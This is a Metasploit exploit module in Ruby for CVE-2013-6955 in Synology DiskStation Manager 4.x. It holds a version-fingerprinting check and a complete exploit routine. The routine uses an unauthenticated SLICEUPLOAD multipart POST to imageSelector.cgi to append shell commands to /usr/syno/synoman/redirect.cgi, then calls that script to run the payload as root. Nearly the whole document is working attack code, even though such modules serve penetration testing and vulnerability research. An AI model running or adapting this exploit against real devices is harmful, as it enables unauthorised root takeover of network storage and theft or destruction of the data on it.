Synology DiskStation Manager SLICEUPLOAD Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
                        &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution",
        'Description' => %q{
          This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
          versions 4.x, which allows the execution of arbitrary commands under root
          privileges.
          The vulnerability is located in /webman/imageSelector.cgi, which allows to append
          arbitrary data to a given file using a so called SLICEUPLOAD functionality, which
          can be triggered by an unauthenticated user with a specially crafted HTTP request.
          This is exploited by this module to append the given commands to /redirect.cgi,
          which is a regular shell script file, and can be invoked with another HTTP request.
          Synology reported that the vulnerability has been fixed with versions 4.0-2259,
          4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.
        },
        'Author' => [
          'Markus Wulftange' # Discovery, Metasploit module
        ],
        'References' => [
          [ 'CVE', '2013-6955' ],
          [ 'OSVDB', '101247' ]
        ],
        'Privileged' => false,
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 0x31337,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl telnet',
                        }
        },
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2013-10-31',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5000)
      ]
    )
  end

  def check
    vprint_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('webman', 'info.cgi'),
      'vars_get' => { 'host' => '' }
    })

    if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN
      version = "#{$~[:major]}.#{$~[:minor]}"
      build = $~[:build]
      model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
      model = "DS#{model}" unless model =~ /^[A-Z]/
    else
      vprint_error("Detection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Model #{model} with version #{version}-#{build} detected")

    case version
    when '4.0'
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") if build < '2259'
    when '4.1'
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    when '4.2'
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") if build < '3243'
    when '4.3'
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") if build < '3810'
      return Exploit::CheckCode::Detected("Target detected: version #{version}") if build == '3810'
    end

    Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end

  def exploit
    cmds = [
      # sed is used to restore the redirect.cgi
      "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",
      payload.encoded
    ].join("\n")

    mime_msg = Rex::MIME::Message.new
    mime_msg.add_part('login', nil, nil, 'form-data; name="source"')
    mime_msg.add_part('logo', nil, nil, 'form-data; name="type"')

    # unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n,
    # so we use a placeholder and replace it later
    cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)
    mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,
                      'form-data; name="foo"; filename="bar"')

    post_body = mime_msg.to_s
    post_body.strip!
    post_body.sub!(cmd_placeholder, cmds)

    # fix multipart encoding
    post_body.gsub!(/\r\n(--#{mime_msg.bound})/, '  \\1')

    # send request to append shell commands
    print_status("Injecting the payload...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('webman', 'imageSelector.cgi'),
      'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}",
      'headers' => {
        'X-TYPE-NAME' => 'SLICEUPLOAD',
        'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi'
      },
      'data' => post_body
    })

    unless res and res.code == 200 and res.body.include?('error_noprivilege')
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
    end

    # send request to invoke the injected shell commands
    print_status("Executing the payload...")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('redirect.cgi'),
    })

    # Read command output if cmd/unix/generic payload was used
    if datastore['CMD']
      unless res and res.code == 200
        fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
      end

      print_good("Command successfully executed")
      print_line(res.body)
    end
  end
end